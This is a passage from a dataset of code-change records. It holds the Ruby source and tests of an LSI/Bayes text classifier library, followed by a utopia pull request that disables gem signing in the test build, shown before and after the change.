fresh index.\n    # If you want to call #build_index manually, use\n    #      Classifier::LSI.new :auto_rebuild => false\n    #\n    def initialize(options = {})\n      @auto_rebuild = true unless options[:auto_rebuild] == false\n      @word_list, @items = WordList.new, {}\n      @version, @built_at_version = 0, -1\n    end\n\n    # Returns true if the index needs to be rebuilt.  The index needs\n    # to be built after all informaton is added, but before you start\n    # using it for search, classification and cluster detection.\n    def needs_rebuild?\n      (@items.keys.size > 1) && (@version != @built_at_version)\n    end\n\n    # Adds an item to the index. item is assumed to be a string, but\n    # any item may be indexed so long as it responds to #to_s or if\n    # you provide an optional block explaining how the indexer can\n    # fetch fresh string data. This optional block is passed the item,\n    # so the item may only be a reference to a URL or file name.\n    #\n    # For example:\n    #   lsi = Classifier::LSI.new\n    #   lsi.add_item \"This is just plain text\"\n    #   lsi.add_item \"/home/me/filename.txt\" { |x| File.read x }\n    #   ar = ActiveRecordObject.find( :all )\n    #   lsi.add_item ar, *ar.categories { |x| ar.content }\n    #\n    def add_item( item, *categories, &block )\n      clean_word_hash = block ? block.call(item).clean_word_hash : item.to_s.clean_word_hash\n      @items[item] = ContentNode.new(clean_word_hash, *categories)\n      @version += 1\n      build_index if @auto_rebuild\n    end\n\n    # A less flexible shorthand for add_item that assumes\n    # you are passing in a string with no categorries. item\n    # will be duck typed via to_s .\n    #\n    def <<( item )\n      add_item item\n    end\n\n    # Returns the categories for a given indexed items. You are free to add and remove\n    # items from this as you see fit. It does not invalide an index to change its categories.\n    def categories_for(item)\n      return [] unless @items[item]\n      return @items[item].categories\n    end\n\n    # Removes an item from the database, if it is indexed.\n    #\n    def remove_item( item )\n      if @items.keys.contain? item\n        @items.remove item\n        @version += 1\n      end\n    end\n\n    # Returns an array of items that are indexed.\n    def items\n      @items.keys\n    end\n\n    # Returns the categories for a given indexed items. You are free to add and remove\n    # items from this as you see fit. It does not invalide an index to change its categories.\n    def categories_for(item)\n      return [] unless @items[item]\n      return @items[item].categories\n    end\n\n    # This function rebuilds the index if needs_rebuild? returns true.\n    # For very large document spaces, this indexing operation may take some\n    # time to complete, so it may be wise to place the operation in another\n    # thread.\n    #\n    # As a rule, indexing will be fairly swift on modern machines until\n    # you have well over 500 documents indexed, or have an incredibly diverse\n    # vocabulary for your documents.\n    #\n    # The optional parameter \"cutoff\" is a tuning parameter. When the index is\n    # built, a certain number of s-values are discarded from the system. The\n    # cutoff parameter tells the indexer how many of these values to keep.\n    # A value of 1 for cutoff means that no semantic analysis will take place,\n    # turning the LSI class into a simple vector search engine.\n    def build_index( cutoff=0.75 )\n      return unless needs_rebuild?\n      make_word_list\n\n      doc_list = @items.values\n      tda = doc_list.collect { |node| node.raw_vector_with( @word_list ) }\n\n      if $GSL\n         tdm = GSL::Matrix.alloc(*tda).trans\n         ntdm = build_reduced_matrix(tdm, cutoff)\n\n         ntdm.size[1].times do |col|\n           vec = GSL::Vector.alloc( ntdm.column(col) ).row\n           doc_list[col].lsi_vector = vec\n           doc_list[col].lsi_norm = vec.normalize\n         end\n      else\n         tdm = Matrix.rows(tda).trans\n         ntdm = build_reduced_matrix(tdm, cutoff)\n\n         ntdm.row_size.times do |col|\n           doc_list[col].lsi_vector = ntdm.column(col) if doc_list[col]\n           doc_list[col].lsi_norm = ntdm.column(col).normalize  if doc_list[col]\n         end\n      end\n\n      @built_at_version = @version\n    end\n\n    # This method returns max_chunks entries, ordered by their average semantic rating.\n    # Essentially, the average distance of each entry from all other entries is calculated,\n    # the highest are returned.\n    #\n    # This can be used to build a summary service, or to provide more information about\n    # your dataset's general content. For example, if you were to use categorize on the\n    # results of this data, you could gather information on what your dataset is generally\n    # about.\n    def highest_relative_content( max_chunks=10 )\n       return [] if needs_rebuild?\n\n       avg_density = Hash.new\n       @items.each_key { |x| avg_density[x] = proximity_array_for_content(x).inject(0.0) { |x,y| x + y[1]} }\n\n       avg_density.keys.sort_by { |x| avg_density[x] }.reverse[0..max_chunks-1].map\n    end\n\n    # This function is the primitive that find_related and classify\n    # build upon. It returns an array of 2-element arrays. The first element\n    # of this array is a document, and the second is its \"score\", defining\n    # how \"close\" it is to other indexed items.\n    #\n    # These values are somewhat arbitrary, having to do with the vector space\n    # created by your content, so the magnitude is interpretable but not always\n    # meaningful between indexes.\n    #\n    # The parameter doc is the content to compare. If that content is not\n    # indexed, you can pass an optional block to define how to create the\n    # text data. See add_item for examples of how this works.\n    def proximity_array_for_content( doc, &block )\n      return [] if needs_rebuild?\n\n      content_node = node_for_content( doc, &block )\n      result =\n        @items.keys.collect do |item|\n          if $GSL\n             val = content_node.search_vector * @items[item].search_vector.col\n          else\n             val = (Matrix[content_node.search_vector] * @items[item].search_vector)[0]\n          end\n          [item, val]\n        end\n      result.sort_by { |x| x[1] }.reverse\n    end\n\n    # Similar to proximity_array_for_content, this function takes similar\n    # arguments and returns a similar array. However, it uses the normalized\n    # calculated vectors instead of their full versions. This is useful when\n    # you're trying to perform operations on content that is much smaller than\n    # the text you're working with. search uses this primitive.\n    def proximity_norms_for_content( doc, &block )\n      return [] if needs_rebuild?\n\n      content_node = node_for_content( doc, &block )\n      result =\n        @items.keys.collect do |item|\n          if $GSL\n            val = content_node.search_norm * @items[item].search_norm.col\n          else\n            val = (Matrix[content_node.search_norm] * @items[item].search_norm)[0]\n          end\n          [item, val]\n        end\n      result.sort_by { |x| x[1] }.reverse\n    end\n\n    # This function allows for text-based search of your index. Unlike other functions\n    # like find_related and classify, search only takes short strings. It will also ignore\n    # factors like repeated words. It is best for short, google-like search terms.\n    # A search will first priortize lexical relationships, then semantic ones.\n    #\n    # While this may seem backwards compared to the other functions that LSI supports,\n    # it is actually the same algorithm, just applied on a smaller document.\n    def search( string, max_nearest=3 )\n      return [] if needs_rebuild?\n      carry = proximity_norms_for_content( string )\n      result = carry.collect { |x| x[0] }\n      return result[0..max_nearest-1]\n    end\n\n    # This function takes content and finds other documents\n    # that are semantically \"close\", returning an array of documents sorted\n    # from most to least relavant.\n    # max_nearest specifies the number of documents to return. A value of\n    # 0 means that it returns all the indexed documents, sorted by relavence.\n    #\n    # This is particularly useful for identifing clusters in your document space.\n    # For example you may want to identify several \"What's Related\" items for weblog\n    # articles, or find paragraphs that relate to each other in an essay.\n    def find_related( doc, max_nearest=3, &block )\n      carry =\n        proximity_array_for_content( doc, &block ).reject { |pair| pair[0] == doc }\n      result = carry.collect { |x| x[0] }\n      return result[0..max_nearest-1]\n    end\n\n    # This function uses a voting system to categorize documents, based on\n    # the categories of other documents. It uses the same logic as the\n    # find_related function to find related documents, then returns the\n    # most obvious category from this list.\n    #\n    # cutoff signifies the number of documents to consider when clasifying\n    # text. A cutoff of 1 means that every document in the index votes on\n    # what category the document is in. This may not always make sense.\n    #\n    def classify( doc, cutoff=0.30, &block )\n      icutoff = (@items.size * cutoff).round\n      carry = proximity_array_for_content( doc, &block )\n      carry = carry[0..icutoff-1]\n      votes = {}\n      carry.each do |pair|\n        categories = @items[pair[0]].categories\n        categories.each do |category|\n          votes[category] ||= 0.0\n          votes[category] += pair[1]\n        end\n      end\n\n      ranking = votes.keys.sort_by { |x| votes[x] }\n      return ranking[-1]\n    end\n\n    # Prototype, only works on indexed documents.\n    # I have no clue if this is going to work, but in theory\n    # it's supposed to.\n    def highest_ranked_stems( doc, count=3 )\n      raise \"Requested stem ranking on non-indexed content!\" unless @items[doc]\n      arr = node_for_content(doc).lsi_vector.to_a\n      top_n = arr.sort.reverse[0..count-1]\n      return top_n.collect { |x| @word_list.word_for_index(arr.index(x))}\n    end\n\n    private\n    def build_reduced_matrix( matrix, cutoff=0.75 )\n      # TODO: Check that M>=N on these dimensions! Transpose helps assure this\n      u, v, s = matrix.SV_decomp\n\n      # TODO: Better than 75% term, please. :\\\n      s_cutoff = s.sort.reverse[(s.size * cutoff).round - 1]\n      s.size.times do |ord|\n        s[ord] = 0.0 if s[ord] < s_cutoff\n      end\n      # Reconstruct the term document matrix, only with reduced rank\n      u * ($GSL ? GSL::Matrix : ::Matrix).diag( s ) * v.trans\n    end\n\n    def node_for_content(item, &block)\n      if @items[item]\n        return @items[item]\n      else\n        clean_word_hash = block ? block.call(item).clean_word_hash : item.to_s.clean_word_hash\n\n        cn = ContentNode.new(clean_word_hash, &block) # make the node and extract the data\n\n        unless needs_rebuild?\n          cn.raw_vector_with( @word_list ) # make the lsi raw and norm vectors\n        end\n      end\n\n      return cn\n    end\n\n    def make_word_list\n      @word_list = WordList.new\n      @items.each_value do |node|\n        node.word_hash.each_key { |key| @word_list.add_word key }\n      end\n    end\n\n  end\nend\n\n", "lib/classifier/lsi/content_node.rb": "# Author::    David Fayram  (mailto:dfayram@lensmen.net)\n# Copyright:: Copyright (c) 2005 David Fayram II\n# License::   LGPL\n\nmodule Classifier\n\n# This is an internal data structure class for the LSI node. Save for\n# raw_vector_with, it should be fairly straightforward to understand.\n# You should never have to use it directly.\n  class ContentNode\n    attr_accessor :raw_vector, :raw_norm,\n                  :lsi_vector, :lsi_norm,\n                  :categories\n\n    attr_reader :word_hash\n    # If text_proc is not specified, the source will be duck-typed\n    # via source.to_s\n    def initialize( word_hash, *categories )\n      @categories = categories || []\n      @word_hash = word_hash\n    end\n\n    # Use this to fetch the appropriate search vector.\n    def search_vector\n      @lsi_vector || @raw_vector\n    end\n\n    # Use this to fetch the appropriate search vector in normalized form.\n    def search_norm\n      @lsi_norm || @raw_norm\n    end\n\n    # Creates the raw vector out of word_hash using word_list as the\n    # key for mapping the vector space.\n    def raw_vector_with( word_list )\n      if $GSL\n         vec = GSL::Vector.alloc(word_list.size)\n      else\n         vec = Array.new(word_list.size, 0)\n      end\n\n      @word_hash.each_key do |word|\n        vec[word_list[word]] = @word_hash[word] if word_list[word]\n      end\n\n      # Perform the scaling transform\n      total_words = vec.sum\n\n      # Perform first-order association transform if this vector has more\n      # than one word in it.\n      if total_words > 1.0\n        weighted_total = 0.0\n        vec.each do |term|\n          if ( term > 0 )\n            weighted_total += (( term / total_words ) * Math.log( term / total_words ))\n          end\n        end\n        vec = vec.collect { |val| Math.log( val + 1 ) / -weighted_total }\n      end\n\n      if $GSL\n         @raw_norm   = vec.normalize\n         @raw_vector = vec\n      else\n         @raw_norm   = Vector[*vec].normalize\n         @raw_vector = Vector[*vec]\n      end\n    end\n\n  end\n\nend\n", "lib/classifier/lsi/summary.rb": "# Author::    Lucas Carlson  (mailto:lucas@rufy.com)\n# Copyright:: Copyright (c) 2005 Lucas Carlson\n# License::   LGPL\n\nclass String\n   def summary( count=10, separator=\" [...] \" )\n      perform_lsi split_sentences, count, separator\n   end\n\n   def paragraph_summary( count=1, separator=\" [...] \" )\n      perform_lsi split_paragraphs, count, separator\n   end\n\n   def split_sentences\n      split /(\\.|\\!|\\?)/ # TODO: make this less primitive\n   end\n\n   def split_paragraphs\n      split /(\\n\\n|\\r\\r|\\r\\n\\r\\n)/ # TODO: make this less primitive\n   end\n\n   private\n\n   def perform_lsi(chunks, count, separator)\n      lsi = Classifier::LSI.new :auto_rebuild => false\n      chunks.each { |chunk| lsi << chunk unless chunk.strip.empty? || chunk.strip.split.size == 1 }\n      lsi.build_index\n      summaries = lsi.highest_relative_content count\n      return summaries.reject { |chunk| !summaries.include? chunk }.map { |x| x.strip }.join(separator)\n   end\nend\n", "lib/classifier/lsi/word_list.rb": "# Author::    David Fayram  (mailto:dfayram@lensmen.net)\n# Copyright:: Copyright (c) 2005 David Fayram II\n# License::   LGPL\n\nmodule Classifier\n  # This class keeps a word => index mapping. It is used to map stemmed words\n  # to dimensions of a vector.\n\n  class WordList\n    def initialize\n      @location_table = Hash.new\n    end\n\n    # Adds a word (if it is new) and assigns it a unique dimension.\n    def add_word(word)\n      term = word\n      @location_table[term] = @location_table.size unless @location_table[term]\n    end\n\n    # Returns the dimension of the word or nil if the word is not in the space.\n    def [](lookup)\n      term = lookup\n      @location_table[term]\n    end\n\n    def word_for_index(ind)\n      @location_table.invert[ind]\n    end\n\n    # Returns the number of words mapped.\n    def size\n      @location_table.size\n    end\n\n  end\nend\n", "test/bayes/bayesian_test.rb": "require File.dirname(__FILE__) + '/../test_helper'\nclass BayesianTest < Minitest::Test\n\tdef setup\n\t\t@classifier = Classifier::Bayes.new 'Interesting', 'Uninteresting'\n\tend\n\n\tdef test_good_training\n\t\tassert_nothing_raised { @classifier.train_interesting \"love\" }\n\tend\n\n\tdef test_bad_training\n\t\tassert_raise(StandardError) { @classifier.train_no_category \"words\" }\n\tend\n\n\tdef test_bad_method\n\t\tassert_raise(NoMethodError) { @classifier.forget_everything_you_know \"\" }\n\tend\n\n\tdef test_categories\n\t\tassert_equal ['Interesting', 'Uninteresting'].sort, @classifier.categories.sort\n\tend\n\n\tdef test_add_category\n\t\t@classifier.add_category 'Test'\n\t\tassert_equal ['Test', 'Interesting', 'Uninteresting'].sort, @classifier.categories.sort\n\tend\n\n\tdef test_classification\n\t\t@classifier.train_interesting \"here are some good words. I hope you love them\"\n\t\t@classifier.train_uninteresting \"here are some bad words, I hate you\"\n\t\tassert_equal 'Uninteresting', @classifier.classify(\"I hate bad words and you\")\n\tend\nend\n", "test/extensions/word_hash_test.rb": "require File.dirname(__FILE__) + '/../test_helper'\nclass StringExtensionsTest < Minitest::Test\n\tdef test_word_hash\n\t\thash = {:good=>1, :\"!\"=>1, :hope=>1, :\"'\"=>1, :\".\"=>1, :love=>1, :word=>1, :them=>1, :test=>1}\n\t\tassert_equal hash, \"here are some good words of test's. I hope you love them!\".word_hash\n\tend\n\n\n\tdef test_clean_word_hash\n\t   hash = {:good=>1, :word=>1, :hope=>1, :love=>1, :them=>1, :test=>1}\n\t   assert_equal hash, \"here are some good words of test's. I hope you love them!\".clean_word_hash\n\tend\n\nend\n\n\nclass ArrayExtensionsTest < Minitest::Test\n\n  def test_plays_nicely_with_any_array\n    assert_equal [Array].sum, Array\n  end\n\n  def test_monkey_path_array_sum\n    assert_equal [1,2,3].sum, 6\n  end\n\n  def test_summing_an_empty_array\n    assert_equal [nil].sum, 0\n  end\n\n  def test_summing_an_empty_array\n    assert_equal Array[].sum, 0\n  end\n\nend\n", "test/lsi/lsi_test.rb": "require File.dirname(__FILE__) + '/../test_helper'\nclass LSITest < Minitest::Test\n\tdef setup\n\t  # we repeat principle words to help weight them.\n\t  # This test is rather delicate, since this system is mostly noise.\n     @str1 = \"This text deals with dogs. Dogs.\"\n\t  @str2 = \"This text involves dogs too. Dogs! \"\n\t  @str3 = \"This text revolves around cats. Cats.\"\n\t  @str4 = \"This text also involves cats. Cats!\"\n\t  @str5 = \"This text involves birds. Birds.\"\n\tend\n\n\tdef test_basic_indexing\n\t lsi = Classifier::LSI.new\n\t  [@str1, @str2, @str3, @str4, @str5].each { |x| lsi << x }\n\t  assert ! lsi.needs_rebuild?\n\n\t # note that the closest match to str1 is str2, even though it is not\n\t # the closest text match.\n\t assert_equal [@str2, @str5, @str3], lsi.find_related(@str1, 3)\n\tend\n\n\tdef test_not_auto_rebuild\n\t lsi = Classifier::LSI.new :auto_rebuild => false\n\t lsi.add_item @str1, \"Dog\"\n\t lsi.add_item @str2, \"Dog\"\n\t assert lsi.needs_rebuild?\n\t lsi.build_index\n\t assert ! lsi.needs_rebuild?\n\tend\n\n\tdef test_basic_categorizing\n\t  lsi = Classifier::LSI.new\n\t  lsi.add_item @str2, \"Dog\"\n\t  lsi.add_item @str3, \"Cat\"\n\t  lsi.add_item @str4, \"Cat\"\n\t  lsi.add_item @str5, \"Bird\"\n\n\t  assert_equal \"Dog\", lsi.classify( @str1 )\n\t  assert_equal \"Cat\", lsi.classify( @str3 )\n     assert_equal \"Bird\", lsi.classify( @str5 )\n\tend\n\n\tdef test_external_classifying\n\t  lsi = Classifier::LSI.new\n\t  bayes = Classifier::Bayes.new 'Dog', 'Cat', 'Bird'\n\t  lsi.add_item @str1, \"Dog\" ; bayes.train_dog @str1\n\t  lsi.add_item @str2, \"Dog\" ; bayes.train_dog @str2\n\t  lsi.add_item @str3, \"Cat\" ; bayes.train_cat @str3\n\t  lsi.add_item @str4, \"Cat\" ; bayes.train_cat @str4\n\t  lsi.add_item @str5, \"Bird\" ; bayes.train_bird @str5\n\n\t  # We're talking about dogs. Even though the text matches the corpus on\n\t  # cats better.  Dogs have more semantic weight than cats. So bayes\n\t  # will fail here, but the LSI recognizes content.\n\t  tricky_case = \"This text revolves around dogs.\"\n\t  assert_equal \"Dog\", lsi.classify( tricky_case )\n\t  assert_not_equal \"Dog\", bayes.classify( tricky_case )\n\tend\n\n\tdef test_recategorize_interface\n\t  lsi = Classifier::LSI.new\n\t  lsi.add_item @str1, \"Dog\"\n\t  lsi.add_item @str2, \"Dog\"\n\t  lsi.add_item @str3, \"Cat\"\n\t  lsi.add_item @str4, \"Cat\"\n\t  lsi.add_item @str5, \"Bird\"\n\n\t  tricky_case = \"This text revolves around dogs.\"\n\t  assert_equal \"Dog\", lsi.classify( tricky_case )\n\n\t  # Recategorize as needed.\n\t  lsi.categories_for(@str1).clear.push \"Cow\"\n\t  lsi.categories_for(@str2).clear.push \"Cow\"\n\n\t  assert !lsi.needs_rebuild?\n\t  assert_equal \"Cow\", lsi.classify( tricky_case )\n\tend\n\n\tdef test_search\n\t  lsi = Classifier::LSI.new\n\t  [@str1, @str2, @str3, @str4, @str5].each { |x| lsi << x }\n\n\t  # Searching by content and text, note that @str2 comes up first, because\n\t  # both \"dog\" and \"involve\" are present. But, the next match is @str1 instead\n\t  # of @str4, because \"dog\" carries more weight than involves.\n\t  assert_equal( [@str2, @str1, @str4, @str5, @str3],\n\t                lsi.search(\"dog involves\", 100) )\n\n\t  # Keyword search shows how the space is mapped out in relation to\n\t  # dog when magnitude is remove. Note the relations. We move from dog\n\t  # through involve and then finally to other words.\n\t  assert_equal( [@str1, @str2, @str4, @str5, @str3],\n\t                lsi.search(\"dog\", 5) )\n\tend\n\n\tdef test_serialize_safe\n    lsi = Classifier::LSI.new\n\t  [@str1, @str2, @str3, @str4, @str5].each { |x| lsi << x }\n\n\t  lsi_md = Marshal.dump lsi\n\t  lsi_m = Marshal.load lsi_md\n\n\t  assert_equal lsi_m.search(\"cat\", 3), lsi.search(\"cat\", 3)\n\t  assert_equal lsi_m.find_related(@str1, 3), lsi.find_related(@str1, 3)\n\tend\n\n\tdef test_keyword_search\n\t  lsi = Classifier::LSI.new\n\t  lsi.add_item @str1, \"Dog\"\n\t  lsi.add_item @str2, \"Dog\"\n\t  lsi.add_item @str3, \"Cat\"\n\t  lsi.add_item @str4, \"Cat\"\n\t  lsi.add_item @str5, \"Bird\"\n\n\t  assert_equal [:dog, :text, :deal], lsi.highest_ranked_stems(@str1)\n\tend\n\n\tdef test_summary\n\t   assert_equal \"This text involves dogs too [...] This text also involves cats\", [@str1, @str2, @str3, @str4, @str5].join.summary(2)\n\tend\n\nend\n", "test/test_helper.rb": "$:.unshift(File.dirname(__FILE__) + '/../lib')\n\nrequire 'minitest'\nrequire 'classifier'\n"}}
{"repo": "socketry/utopia", "pr_number": 33, "title": "Don't sign the gem during test build.", "state": "closed", "merged_at": "2022-07-31T23:46:02Z", "additions": 5, "deletions": 4, "files_changed": ["gems.rb", "spec/utopia/command_spec.rb"], "files_before": {"gems.rb": "# frozen_string_literal: true\n\nsource 'https://rubygems.org'\n\ngemspec\n\ngroup :maintenance, optional: true do\n\tgem \"bake-gem\"\n\tgem \"bake-modernize\"\n\t\n\tgem \"utopia-project\"\nend\n\ngroup :development do\n\tgem 'json'\n\tgem 'rackula'\nend\n\ngroup :test do\n\tgem 'benchmark-ips'\n\tgem 'ruby-prof', platforms: :mri\n\t\n\tgem 'guard-falcon'\n\t\n\tgem 'rack-test'\nend\n\ngem \"thread-local\", \"~> 1.0\"\n", "spec/utopia/command_spec.rb": "# frozen_string_literal: true\n\n# Copyright, 2016, by Samuel G. D. Williams. <http://www.codeotaku.com>\n# \n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n# \n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n# \n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nrequire 'fileutils'\nrequire 'tmpdir'\nrequire 'yaml'\n\nrequire 'open3'\nrequire 'bundler'\n\nRSpec.describe \"utopia command\" do\n\tlet(:utopia_path) {File.expand_path(\"../..\", __dir__)}\n\tlet(:pkg_path) {File.expand_path(\"pkg\", utopia_path)}\n\tlet(:utopia) {File.expand_path(\"../../bin/utopia\", __dir__)}\n\t\n\tbefore(:all) do\n\t\t# We need to build a package to test deployment:\n\t\tsystem(\"bundle\", \"exec\", \"bake\", \"gem:build\") or abort(\"Could not build package for setup spec!\")\n\tend\n\t\n\taround(:each) do |example|\n\t\tBundler.with_unbundled_env do\n\t\t\t# If we don't delete this, when running on travis, it will try submit the coverage report.\n\t\t\tENV.delete('COVERAGE')\n\t\t\t\n\t\t\t# In order to make this work in a vendored test environment, we need to seed the \"local\" environment with the \"utopia\" gem and all it's dependencies. Otherwise, the commands will fail because they can't find the dependencies (they are vendored in the source root but not in `dir`):\n\t\t\tsystem(\"bundle\", \"install\", \"--system\")\n\t\t\t\n\t\t\texample.run\n\t\tend\n\tend\n\t\n\tdef sh_status(*arguments)\n\t\tsystem(*arguments) ? 0 : false\n\tend\n\t\n\tdef sh_stdout(*arguments)\n\t\toutput, status = Open3.capture2(*arguments)\n\t\treturn output\n\tend\n\t\n\tdef git_config(name, value=nil)\n\t\tunless value.nil?\n\t\t\treturn sh_status('git', 'config', name, value)\n\t\telse\n\t\t\treturn sh_stdout('git', 'config', name).chomp\n\t\tend\n\tend\n\t\n\tdef group_rw(path)\n\t\tgaccess = File.stat(path).mode.to_s(8)[-2]\n\t\treturn gaccess == '6' || gaccess == '7'\n\tend\n\t\n\tdef install_packages(dir)\n\t\tsystem(\"bundle\", \"config\", \"--local\", \"local.utopia\", utopia_path, chdir: dir)\n\t\tsystem(\"bundle\", \"config\", \"--local\", \"cache_path\", pkg_path, chdir: dir)\n\tend\n\t\n\tit \"should generate sample site\" do\n\t\tDir.mktmpdir('test-site') do |dir|\n\t\t\tinstall_packages(dir)\n\t\t\t\n\t\t\tsystem(utopia, \"--in\", dir, \"site\", \"create\")\n\t\t\t\n\t\t\texpect(Dir.entries(dir)).to include(\".git\", \"gems.rb\", \"gems.locked\", \"README.md\", \"bake.rb\", \"config.ru\", \"lib\", \"pages\", \"public\", \"spec\")\n\t\t\t\n\t\t\texpect(\n\t\t\t\tsystem(\"bundle\", \"exec\", \"bake\", \"utopia:test\", chdir: dir)\n\t\t\t).to be true\n\t\tend\n\tend\n\t\n\tit \"should generate a sample server\" do\n\t\tDir.mktmpdir('test-server') do |dir|\n\t\t\tinstall_packages(dir)\n\t\t\t\n\t\t\tresult = sh_status(utopia, \"--in\", dir, \"server\", \"create\")\n\t\t\texpect(result).to be == 0\n\t\t\t\n\t\t\texpect(Dir.entries(dir)).to include(\".git\")\n\t\t\t\n\t\t\t# make sure git is set up properly\n\t\t\tDir.chdir(dir) do\n\t\t\t\texpect(git_config 'core.sharedRepository').to be == '1'\n\t\t\t\texpect(git_config 'receive.denyCurrentBranch').to be == 'ignore'\n\t\t\t\texpect(git_config 'core.worktree').to be == dir\n\t\t\tend\n\t\t\t\n\t\t\tenvironment = YAML.load_file(File.join(dir, 'config/environment.yaml'))\n\t\t\texpect(environment).to include('VARIANT', 'UTOPIA_SESSION_SECRET')\n\t\tend\n\tend\n\t\n\tit \"should not trash the sample server during update\" do\n\t\tDir.mktmpdir('test-server') do |dir|\n\t\t\tinstall_packages(dir)\n\t\t\t\n\t\t\tresult = sh_status(utopia, \"--in\", dir, \"server\", \"create\")\n\t\t\texpect(result).to be == 0\n\t\t\t\n\t\t\tDir.chdir(dir) do\n\t\t\t\t# make the repository look a bit like like it's an old one\n\t\t\t\tgit_config 'core.sharedRepository', 'false'\n\t\t\t\tsh_status 'chmod', '-Rf', 'g-x', '.git'\n\t\t\t\tsh_status 'rm', '-f', '.git/hooks/post-receive'\n\t\t\tend\n\t\t\t\n\t\t\tresult = sh_status(utopia, \"--in\", dir, \"server\", \"update\")\n\t\t\texpect(result).to be == 0\n\t\t\t\n\t\t\t# check a couple of files to make sure they have group read and write access\n\t\t\t# after the update\n\t\t\tDir.glob(File.join(dir, '.git/**/*')).each do |path|\n\t\t\t\texpect(group_rw path).to be == true\n\t\t\tend\n\t\tend\n\tend\n\t\n\tit \"can generate sample site, server and push to the server\" do\n\t\t# This assumes your default branch is \"main\". We should probably be more flexible around this.\n\t\t# git config --global init.defaultBranch main\n\t\tDir.mktmpdir('test') do |dir|\n\t\t\tsite_path = File.join(dir, 'site')\n\t\t\t\n\t\t\tinstall_packages(site_path)\n\t\t\t\n\t\t\tserver_path = File.join(dir, 'server')\n\t\t\t\n\t\t\tresult = sh_status(utopia, \"--in\", site_path, \"site\", \"create\")\n\t\t\texpect(result).to be == 0\n\t\t\t\n\t\t\tresult = sh_status(utopia, \"--in\", server_path, \"server\", \"create\")\n\t\t\texpect(result).to be == 0\n\t\t\t\n\t\t\tDir.chdir(site_path) do\n\t\t\t\tresult = sh_status(\"git\", \"push\", \"--set-upstream\", server_path, \"main\")\n\t\t\t\texpect(result).to be == 0\n\t\t\tend\n\t\t\t\n\t\t\tfiles = %W[.git gems.rb gems.locked README.md bake.rb config.ru lib pages public]\n\t\t\t\n\t\t\texpect(Dir.entries(server_path)).to include(*files)\n\t\t\t\n\t\t\texpect(File.executable? File.join(server_path, 'config.ru')).to be == true\n\t\t\t\n\t\t\tputs File.stat(File.join(dir, 'server', '.git')).mode\n\t\tend\n\tend\nend\n"}, "files_after": {"gems.rb": "# frozen_string_literal: true\n\nsource 'https://rubygems.org'\n\ngemspec\n\ngroup :maintenance, optional: true do\n\tgem \"bake-gem\", \"~> 0.3\"\n\tgem \"bake-modernize\"\n\t\n\tgem \"utopia-project\"\nend\n\ngroup :development do\n\tgem 'json'\n\tgem 'rackula'\nend\n\ngroup :test do\n\tgem 'benchmark-ips'\n\tgem 'ruby-prof', platforms: :mri\n\t\n\tgem 'guard-falcon'\n\t\n\tgem 'rack-test'\nend\n\ngem \"thread-local\", \"~> 1.0\"\n", "spec/utopia/command_spec.rb": "# frozen_string_literal: true\n\n# Copyright, 2016, by Samuel G. D. Williams. <http://www.codeotaku.com>\n# \n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n# \n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n# \n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nrequire 'fileutils'\nrequire 'tmpdir'\nrequire 'yaml'\n\nrequire 'open3'\nrequire 'bundler'\n\nRSpec.describe \"utopia command\" do\n\tlet(:utopia_path) {File.expand_path(\"../..\", __dir__)}\n\tlet(:pkg_path) {File.expand_path(\"pkg\", utopia_path)}\n\tlet(:utopia) {File.expand_path(\"../../bin/utopia\", __dir__)}\n\t\n\tbefore(:all) do\n\t\t# We need to build a package to test deployment:\n\t\tsystem(\"bundle\", \"exec\", \"bake\", \"gem:build\", \"--signing-key\", \"no\") or abort(\"Could not build package for setup spec!\")\n\tend\n\t\n\taround(:each) do |example|\n\t\tBundler.with_unbundled_env do\n\t\t\t# If we don't delete this, when running on travis, it will try submit the coverage report.\n\t\t\tENV.delete('COVERAGE')\n\t\t\t\n\t\t\t# In order to make this work in a vendored test environment, we need to seed the \"local\" environment with the \"utopia\" gem and all it's dependencies. Otherwise, the commands will fail because they can't find the dependencies (they are vendored in the source root but not in `dir`):\n\t\t\tsystem(\"bundle\", \"install\", \"--system\")\n\t\t\t\n\t\t\texample.run\n\t\tend\n\tend\n\t\n\tdef sh_status(*arguments)\n\t\tsystem(*arguments) ? 0 : false\n\tend\n\t\n\tdef sh_stdout(*arguments)\n\t\toutput, status = Open3.capture2(*arguments)\n\t\treturn output\n\tend\n\t\n\tdef git_config(name, value=nil)\n\t\tunless value.nil?\n\t\t\treturn sh_status('git', 'config', name, value)\n\t\telse\n\t\t\treturn sh_stdout('git', 'config', name).chomp\n\t\tend\n\tend\n\t\n\tdef group_rw(path)\n\t\tgaccess = File.stat(path).mode.to_s(8)[-2]\n\t\treturn 